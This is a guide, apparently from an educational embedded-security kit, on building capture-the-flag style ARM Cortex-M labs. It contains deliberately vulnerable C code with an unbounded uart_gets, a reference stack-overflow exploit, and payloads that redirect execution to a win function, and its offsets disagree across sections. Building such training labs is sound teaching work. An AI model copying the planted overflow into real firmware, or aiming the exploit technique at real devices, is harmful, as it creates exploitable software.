Creating Labs¶
This guide walks through the complete process of creating a new embedded security lab for the EmbSec Kit.
Prerequisites¶
Before creating a lab, ensure you have:
- Working development environment (see Installation Guide)
- Familiarity with ARM assembly and embedded C
- Understanding of the target vulnerability type
- Clear learning objectives defined
Step 1: Planning Your Lab¶
Define Learning Objectives¶
Each lab should teach specific concepts:
- Primary vulnerability type (e.g., buffer overflow, format string)
- Exploitation technique (e.g., return address overwrite, GOT overwrite)
- Debugging skills (e.g., memory examination, register analysis)
- Mitigation strategies (e.g., stack canaries, ASLR)
Choose Difficulty Level¶
- Easy: Single vulnerability, clear path to exploitation
- Medium: Multiple steps, requires analysis and planning
- Hard: Complex vulnerability chains, anti-debugging, obfuscation
Design Constraints¶
Consider hardware limitations:
- Flash size: ~16KB typical lab size
- RAM: 4KB available for stack/heap
- No MMU: Cannot rely on memory protections
- Thumb mode: Most code runs in Thumb instruction set
Step 2: Create Lab Structure¶
Copy Template¶
Directory Structure¶
03-your-lab-name/
├── CMakeLists.txt # Build configuration
├── INSTRUCTOR.md # Private instructor notes
├── README.md # Student-facing documentation
├── metadata.yml # Lab metadata and configuration
├── src/
│ └── main.c # Main lab implementation
├── solution/
│ ├── exploit.py # Reference exploit
│ └── writeup.md # Detailed solution
└── tests/
└── test_lab.py # Automated tests
Step 3: Configure Build System¶
Edit CMakeLists.txt¶
embsec_add_lab(
NAME 03-your-lab-name
SALT "unique_salt_value_2024_xyz" # Must be unique!
DEFINITIONS
BUFFER_SIZE=64
ENABLE_DEBUG_INFO=1
CUSTOM_FLAG="value"
)
Key Configuration Options¶
- NAME: Must match directory name
- SALT: Unique string for flag generation (keep secret!)
- DEFINITIONS: Compile-time configuration values
- SOURCES: Additional source files (if needed)
Step 4: Implement the Vulnerability¶
Basic Structure (src/main.c)¶
#include <embsec/embsec.h>
// Global variables for state
static volatile uint32_t auth_level = 0;
static char user_buffer[BUFFER_SIZE];
// Vulnerable function
static void vulnerable_function(void) {
char local_buffer[32];
uart_puts("Enter input: ");
uart_gets(local_buffer); // No bounds checking!
// Process input...
}
// Target function (goal of exploit)
static void win_function(void) {
generate_flag();
uart_printf("Success! Flag: %s\n", embsec_flag);
}
// Menu system
static void show_menu(void) {
uart_puts("\n=== Lab Menu ===\n");
uart_puts("1. Trigger vulnerability\n");
uart_puts("2. Show debug info\n");
uart_puts("3. Exit\n");
uart_puts("Choice: ");
}
int main(void) {
system_init();
uart_init();
uart_puts("\nEmbSec Lab: Your Lab Name\n");
uart_puts("University of the Midwest\n\n");
while (1) {
show_menu();
char choice = uart_getc();
uart_putc(choice);
uart_puts("\n");
switch (choice) {
case '1':
vulnerable_function();
break;
case '2':
show_debug_info();
break;
case '3':
return 0;
}
}
}
Implementation Guidelines¶
Memory Layout Considerations¶
// Provide debug information for students
static void show_debug_info(void) {
char buffer[32];
uint32_t sp;
__asm__("mov %0, sp" : "=r"(sp));
uart_printf("Buffer address: 0x%08x\n", (uint32_t)buffer);
uart_printf("Stack pointer: 0x%08x\n", sp);
uart_printf("Win function: 0x%08x\n", (uint32_t)win_function | 1);
}
Safe Vulnerability Implementation¶
// DO: Controlled vulnerability
void controlled_overflow(void) {
char buffer[64];
size_t len = uart_gets(buffer); // Returns actual length
if (len > sizeof(buffer)) {
// Log for debugging but continue
uart_puts("[DEBUG] Overflow detected\n");
}
}
// DON'T: Uncontrolled crash
void bad_implementation(void) {
char buffer[64];
strcpy(buffer, user_input); // Could corrupt critical data
}
Flag Generation¶
// Use the SDK's flag generation
#include <embsec/flag.h>
void reveal_flag(void) {
generate_flag(); // Uses LAB_NAME and LAB_SALT
uart_printf("Flag: %s\n", embsec_flag);
}
Step 5: Create Metadata¶
Edit metadata.yml¶
name: 03-your-lab-name
display_name: "Your Lab Display Name"
description: "Brief description of the vulnerability and learning goals"
category: "Memory Corruption" # or "Logic", "Crypto", etc.
difficulty: "Medium"
points: 200
author: "Your Name"
version: "1.0.0"
objectives:
- "Identify and exploit buffer overflow vulnerability"
- "Bypass stack protections"
- "Achieve arbitrary code execution"
prerequisites:
- "Understanding of stack layout"
- "Basic ARM assembly"
- "GDB debugging skills"
tags:
- buffer-overflow
- stack-exploitation
- arm-cortex-m
resources:
flash: 16384
ram: 4096
peripherals:
- UART0
- TIMER0
testing:
timeout: 30
qemu_args: "-nographic"
flag:
salt: "unique_salt_value_2024_xyz" # Must match CMakeLists.txt
prefix: "embsec"
hints:
- cost: 0
text: "Use the debug menu to find important addresses"
- cost: 50
text: "The return address is stored on the stack"
- cost: 100
text: "Remember ARM Thumb mode requires LSB=1 for function pointers"
Step 6: Write Student Documentation¶
Edit README.md¶
# Lab Name
## Introduction
Brief overview of the lab and what students will learn.
## Learning Objectives
- Objective 1
- Objective 2
- Objective 3
## Background
Technical background needed for the lab:
- Vulnerability type explanation
- Relevant ARM architecture details
- Related security concepts
## Setup
```bash
# Build the lab
cd build-qemu
make 03-your-lab-name
# Run in QEMU
qemu-system-arm -M lm3s6965evb -kernel labs/03-your-lab-name/03-your-lab-name -nographic
The Challenge¶
Description of what students need to accomplish.
Tools You'll Need¶
- ARM GDB
- Python 3 for exploit development
- Hex editor (optional)
Hints¶
- Start by exploring the menu options
- Use debugging features to understand memory layout
- Pay attention to function addresses
Submission¶
Submit your exploit script that successfully retrieves the flag.
## Step 7: Develop Reference Solution
### solution/exploit.py
```python
#!/usr/bin/env python3
"""
Reference exploit for Lab 03
Demonstrates buffer overflow to redirect execution
"""
import struct
import sys
import time
def p32(addr):
"""Pack 32-bit address (little-endian)"""
return struct.pack("<I", addr)
def main():
# Configuration
BUFFER_SIZE = 64
TARGET_FUNC = 0x00001234 # From debug output
# Build payload
payload = b"A" * BUFFER_SIZE # Fill buffer
payload += b"B" * 8 # Saved registers
payload += p32(TARGET_FUNC | 1) # Return address (Thumb bit!)
# Send exploit
print("1") # Select vulnerable option
sys.stdout.buffer.write(payload + b"\n")
sys.stdout.flush()
# Wait for flag
time.sleep(1)
if __name__ == "__main__":
main()
solution/writeup.md¶
# Solution Writeup
## Vulnerability Analysis
The vulnerability is a classic stack buffer overflow in `vulnerable_function()`.
### Key Observations
1. Local buffer is 32 bytes
2. No bounds checking on input
3. Return address stored on stack
4. Win function at 0x00001234
## Exploitation Strategy
1. Fill the buffer (32 bytes)
2. Overwrite saved frame pointer (4 bytes)
3. Overwrite return address with win function
## Important Notes
- ARM Thumb mode requires LSB=1 in function pointers
- Stack is executable (no NX)
- No stack canaries present
## Exploit Development
[Detailed steps with code snippets]
Step 8: Implement Tests¶
tests/test_lab.py¶
#!/usr/bin/env python3
"""
Automated tests for Lab 03
"""
import sys
import os
sys.path.append(os.path.join(os.path.dirname(__file__), '../../common'))
from test_framework import BufferOverflowTestBase, p32
class TestLab03(BufferOverflowTestBase):
LAB_NAME = "03-your-lab-name"
BUFFER_SIZE = 64
EXPECTED_MENU_OPTIONS = [
"Lab Menu",
"1. Trigger vulnerability",
"2. Show debug info",
"3. Exit"
]
def get_exploit_payload(self, target, offset):
"""Generate the buffer overflow payload"""
payload = b"A" * offset
payload += p32(target)
return payload + b"\n"
def test_custom_behavior(self):
"""Test lab-specific functionality"""
self.start_qemu()
output = self.get_menu_choice("2")
# Verify debug info is present
self.assertIn("Buffer address:", output)
self.assertIn("Win function:", output)
if __name__ == "__main__":
import unittest
unittest.main()
Step 9: Write Instructor Notes¶
INSTRUCTOR.md¶
# Lab 03: Your Lab Name
## Quick Reference
**Vulnerability**: Buffer overflow in `vulnerable_function()` at line 45
**Key addresses**:
- Buffer: Stack-allocated, varies
- Win function: 0x00001234 (fixed)
**Critical detail**: Remember Thumb bit (OR with 1)
## Solution
```python
# Minimal exploit
payload = b"A" * 64 + b"B" * 8 + b"\x35\x12\x00\x00"
Common Issues¶
- Forgot Thumb bit: Add
| 1to function address - Wrong offset: Use debug info to calculate
- Newline missing: Exploit needs
\nterminator
Debugging Help¶
- Symptom: "Illegal instruction" → Check: Thumb bit set?
- Symptom: Crashes but no flag → Check: Exact offset
- Symptom: Nothing happens → Check: Input length
Testing¶
# Quick test
python3 tests/test_lab.py
# Manual verification
python3 solution/exploit.py | qemu-system-arm -M lm3s6965evb -kernel build/labs/03-your-lab-name/03-your-lab-name -nographic
## Step 10: Integration and Testing
### Add to labs/CMakeLists.txt
The `embsec_add_labs_directory()` function will automatically detect your new lab.
### Build and Test
```bash
cd build-qemu
cmake --build . --target 03-your-lab-name
python3 ../labs/03-your-lab-name/tests/test_lab.py
Run Exploit¶
python3 ../labs/03-your-lab-name/solution/exploit.py | \
qemu-system-arm -M lm3s6965evb \
-kernel labs/03-your-lab-name/03-your-lab-name \
-nographic
Best Practices Summary¶
DO:¶
- Provide clear debug information
- Make vulnerabilities deterministic
- Include comprehensive tests
- Document ARM-specific details
- Test on multiple platforms
DON'T:¶
- Create random/non-deterministic behavior
- Implement anti-debugging (unless that's the point)
- Make exploitation platform-dependent
- Forget about Thumb mode
- Leave hardcoded absolute addresses
Troubleshooting¶
Common Build Issues¶
- Salt not unique: Each lab needs unique salt
- Missing includes: Add to CMakeLists.txt SOURCES
- Link errors: Check symbol visibility
Common Runtime Issues¶
- QEMU crashes: Check memory access patterns
- No output: Verify UART initialization
- Wrong flag: Check salt configuration
Testing Issues¶
- Tests timeout: Increase timeout in metadata.yml
- Non-deterministic: Add delays or synchronization
- Platform differences: Use portable constructs
Next Steps¶
- Peer Review: Have another instructor test your lab
- Student Testing: Run pilot with small group
- Documentation: Ensure README is student-friendly
- CI/CD: Verify automated tests pass
- Release: Tag version and create release notes